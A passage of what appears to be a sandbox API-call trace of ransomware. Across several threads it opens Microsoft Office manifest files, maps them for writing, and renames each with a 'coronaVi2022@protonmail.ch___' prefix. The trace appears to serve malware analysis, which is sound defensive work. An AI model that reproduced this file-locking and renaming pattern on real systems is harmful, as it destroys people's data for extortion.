	[0108.559] CloseHandle (hObject=0x1274) returned 1
	[0108.559] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml") returned 128
	[0108.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.excel.excel.x-none.msi.16.x-none.xml")) returned 1
	[0108.560] free (_Block=0x51fb0c8) 
	[0108.560] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1007
	os_tid = 0x2028

	[0108.513] _alloca_probe () returned 0x40328a
	[0108.513] GetCurrentThreadId () returned 0x2028
	[0108.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0108.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11b0
	[0108.515] GetFileSizeEx (in: hFile=0x11b0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=36720) returned 1
	[0108.515] CreateFileMappingA (hFile=0x11b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f70, lpName=0x0) returned 0x127c
	[0108.515] MapViewOfFile (hFileMappingObject=0x127c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0108.523] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0108.523] CloseHandle (hObject=0x127c) returned 1
	[0108.523] GetCurrentThreadId () returned 0x2028
	[0108.523] FlushFileBuffers (hFile=0x11b0) returned 1
	[0108.648] CloseHandle (hObject=0x11b0) returned 1
	[0108.649] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.excelmui.msi.16.en-us.xml") returned 117
	[0108.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.excelmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.excelmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.excelmui.msi.16.en-us.xml")) returned 1
	[0108.652] free (_Block=0x51fe0e0) 
	[0108.652] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1008
	os_tid = 0x202c

	[0108.525] _alloca_probe () returned 0x40328a
	[0108.526] GetCurrentThreadId () returned 0x202c
	[0108.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0108.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1280
	[0108.526] GetFileSizeEx (in: hFile=0x1280, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=36750) returned 1
	[0108.526] CreateFileMappingA (hFile=0x1280, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f9b, lpName=0x0) returned 0x1284
	[0108.527] MapViewOfFile (hFileMappingObject=0x1284, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0108.535] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0108.535] CloseHandle (hObject=0x1284) returned 1
	[0108.535] GetCurrentThreadId () returned 0x202c
	[0108.535] FlushFileBuffers (hFile=0x1280) returned 1
	[0108.568] CloseHandle (hObject=0x1280) returned 1
	[0108.568] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml") returned 130
	[0108.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.groove.groove.x-none.msi.16.x-none.xml")) returned 1
	[0108.569] free (_Block=0x52000f0) 
	[0108.569] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1009
	os_tid = 0x2030

	[0108.537] _alloca_probe () returned 0x40328a
	[0108.538] GetCurrentThreadId () returned 0x2030
	[0108.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0108.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1288
	[0108.539] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=6158) returned 1
	[0108.539] CreateFileMappingA (hFile=0x1288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x181b, lpName=0x0) returned 0x128c
	[0108.539] MapViewOfFile (hFileMappingObject=0x128c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0108.542] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0108.542] CloseHandle (hObject=0x128c) returned 1
	[0108.542] GetCurrentThreadId () returned 0x2030
	[0108.542] FlushFileBuffers (hFile=0x1288) returned 1
	[0108.551] CloseHandle (hObject=0x1288) returned 1
	[0108.552] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.groovemui.msi.16.en-us.xml") returned 118
	[0108.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.groovemui.msi.16.en-us.xml")) returned 1
	[0108.554] free (_Block=0x51fc0d0) 
	[0108.554] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1010
	os_tid = 0x2034

	[0108.607] _alloca_probe () returned 0x40328a
	[0108.608] GetCurrentThreadId () returned 0x2034
	[0108.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0108.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1280
	[0108.609] GetFileSizeEx (in: hFile=0x1280, lpFileSize=0x368ff5c | out: lpFileSize=0x368ff5c*=104348) returned 1
	[0108.609] CreateFileMappingA (hFile=0x1280, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x197a7, lpName=0x0) returned 0x1274
	[0108.609] MapViewOfFile (hFileMappingObject=0x1274, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0108.629] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0108.630] CloseHandle (hObject=0x1274) returned 1
	[0108.630] GetCurrentThreadId () returned 0x2034
	[0108.630] FlushFileBuffers (hFile=0x1280) returned 1
	[0108.656] CloseHandle (hObject=0x1280) returned 1
	[0108.656] _swprintf (in: param_1=0x3689f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml") returned 126
	[0108.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.lync.lync.x-none.msi.16.x-none.xml")) returned 1
	[0108.657] free (_Block=0x52010f8) 
	[0108.657] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1011
	os_tid = 0x2038

	[0108.636] _alloca_probe () returned 0x40328a
	[0108.637] GetCurrentThreadId () returned 0x2038
	[0108.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0108.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1288
	[0108.638] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=23444) returned 1
	[0108.638] CreateFileMappingA (hFile=0x1288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5b97, lpName=0x0) returned 0x128c
	[0108.638] MapViewOfFile (hFileMappingObject=0x128c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0108.644] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0108.644] CloseHandle (hObject=0x128c) returned 1
	[0108.644] GetCurrentThreadId () returned 0x2038
	[0108.644] FlushFileBuffers (hFile=0x1288) returned 1
	[0108.714] CloseHandle (hObject=0x1288) returned 1
	[0108.714] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.lyncmui.msi.16.en-us.xml") returned 116
	[0108.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.lyncmui.msi.16.en-us.xml")) returned 1
	[0108.715] free (_Block=0x52000f0) 
	[0108.715] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1012
	os_tid = 0x203c

	[0108.701] _alloca_probe () returned 0x40328a
	[0108.702] GetCurrentThreadId () returned 0x203c
	[0108.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0108.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x340
	[0108.703] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=27466) returned 1
	[0108.703] CreateFileMappingA (hFile=0x340, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b53, lpName=0x0) returned 0x32c
	[0108.703] MapViewOfFile (hFileMappingObject=0x32c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.709] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.710] CloseHandle (hObject=0x32c) returned 1
	[0108.710] GetCurrentThreadId () returned 0x203c
	[0108.710] FlushFileBuffers (hFile=0x340) returned 1
	[0109.235] CloseHandle (hObject=0x340) returned 1
	[0109.235] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.office32mui.msi.16.en-us.xml") returned 120
	[0109.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32mui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.office32mui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.office32mui.msi.16.en-us.xml")) returned 1
	[0109.236] free (_Block=0x51fd0d8) 
	[0109.236] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1013
	os_tid = 0x2040

	[0108.757] _alloca_probe () returned 0x40328a
	[0108.758] GetCurrentThreadId () returned 0x2040
	[0108.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0108.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0108.759] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c4ff5c | out: lpFileSize=0x2c4ff5c*=324596) returned 1
	[0108.759] CreateFileMappingA (hFile=0x358, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f3f7, lpName=0x0) returned 0x360
	[0108.759] MapViewOfFile (hFileMappingObject=0x360, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0109.055] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0109.059] CloseHandle (hObject=0x360) returned 1
	[0109.059] GetCurrentThreadId () returned 0x2040
	[0109.059] FlushFileBuffers (hFile=0x358) returned 1
	[0109.244] CloseHandle (hObject=0x358) returned 1
	[0109.244] _swprintf (in: param_1=0x2c49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.office32ww.msi.16.x-none.xml") returned 120
	[0109.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.office32ww.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.office32ww.msi.16.x-none.xml")) returned 1
	[0109.245] free (_Block=0x51fb0c8) 
	[0109.245] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1014
	os_tid = 0x2044

	[0108.761] _alloca_probe () returned 0x40328a
	[0108.761] GetCurrentThreadId () returned 0x2044
	[0108.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0108.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x268
	[0108.762] GetFileSizeEx (in: hFile=0x268, lpFileSize=0x33dff5c | out: lpFileSize=0x33dff5c*=104560) returned 1
	[0108.762] CreateFileMappingA (hFile=0x268, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19870, lpName=0x0) returned 0x264
	[0108.762] MapViewOfFile (hFileMappingObject=0x264, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0108.987] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0108.988] CloseHandle (hObject=0x264) returned 1
	[0108.988] GetCurrentThreadId () returned 0x2044
	[0108.988] FlushFileBuffers (hFile=0x268) returned 1
	[0109.251] CloseHandle (hObject=0x268) returned 1
	[0109.252] _swprintf (in: param_1=0x33d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.officemui.msi.16.en-us.xml") returned 118
	[0109.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.officemui.msi.16.en-us.xml")) returned 1
	[0109.252] free (_Block=0x51fe0e0) 
	[0109.253] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1015
	os_tid = 0x2048

	[0108.763] _alloca_probe () returned 0x40328a
	[0108.764] GetCurrentThreadId () returned 0x2048
	[0108.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0108.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1288
	[0108.765] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x34dff5c | out: lpFileSize=0x34dff5c*=2042) returned 1
	[0108.765] CreateFileMappingA (hFile=0x1288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x803, lpName=0x0) returned 0x32c
	[0108.765] MapViewOfFile (hFileMappingObject=0x32c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0108.935] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0108.936] CloseHandle (hObject=0x32c) returned 1
	[0108.936] GetCurrentThreadId () returned 0x2048
	[0108.936] FlushFileBuffers (hFile=0x1288) returned 1
	[0108.977] CloseHandle (hObject=0x1288) returned 1
	[0108.977] _swprintf (in: param_1=0x34d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.officemuiset.msi.16.en-us.xml") returned 121
	[0108.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.officemuiset.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.officemuiset.msi.16.en-us.xml")) returned 1
	[0109.013] free (_Block=0x51fc0d0) 
	[0109.013] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1016
	os_tid = 0x204c

	[0108.767] _alloca_probe () returned 0x40328a
	[0108.767] GetCurrentThreadId () returned 0x204c
	[0108.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0108.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11b0
	[0108.768] GetFileSizeEx (in: hFile=0x11b0, lpFileSize=0x35dff5c | out: lpFileSize=0x35dff5c*=97084) returned 1
	[0108.768] CreateFileMappingA (hFile=0x11b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17b47, lpName=0x0) returned 0x128c
	[0108.768] MapViewOfFile (hFileMappingObject=0x128c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23f0000
	[0108.998] UnmapViewOfFile (lpBaseAddress=0x23f0000) returned 1
	[0108.999] CloseHandle (hObject=0x128c) returned 1
	[0108.999] GetCurrentThreadId () returned 0x204c
	[0108.999] FlushFileBuffers (hFile=0x11b0) returned 1
	[0109.040] CloseHandle (hObject=0x11b0) returned 1
	[0109.040] _swprintf (in: param_1=0x35d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml") returned 132
	[0109.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml")) returned 1
	[0109.041] free (_Block=0x52000f0) 
	[0109.041] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1017
	os_tid = 0x2050

	[0108.770] _alloca_probe () returned 0x40328a
	[0108.770] GetCurrentThreadId () returned 0x2050
	[0108.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0108.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1294
	[0108.771] GetFileSizeEx (in: hFile=0x1294, lpFileSize=0x371ff5c | out: lpFileSize=0x371ff5c*=19018) returned 1
	[0108.771] CreateFileMappingA (hFile=0x1294, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a53, lpName=0x0) returned 0x1298
	[0108.771] MapViewOfFile (hFileMappingObject=0x1298, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0108.776] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0108.776] CloseHandle (hObject=0x1298) returned 1
	[0108.776] GetCurrentThreadId () returned 0x2050
	[0108.776] FlushFileBuffers (hFile=0x1294) returned 1
	[0109.253] CloseHandle (hObject=0x1294) returned 1
	[0109.254] _swprintf (in: param_1=0x3719f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.onenotemui.msi.16.en-us.xml") returned 119
	[0109.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.onenotemui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.onenotemui.msi.16.en-us.xml")) returned 1
	[0109.254] free (_Block=0x52010f8) 
	[0109.254] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1018
	os_tid = 0x2054

	[0109.103] _alloca_probe () returned 0x40328a
	[0109.104] GetCurrentThreadId () returned 0x2054
	[0109.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0109.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11b0
	[0109.105] GetFileSizeEx (in: hFile=0x11b0, lpFileSize=0x34dff5c | out: lpFileSize=0x34dff5c*=1526) returned 1
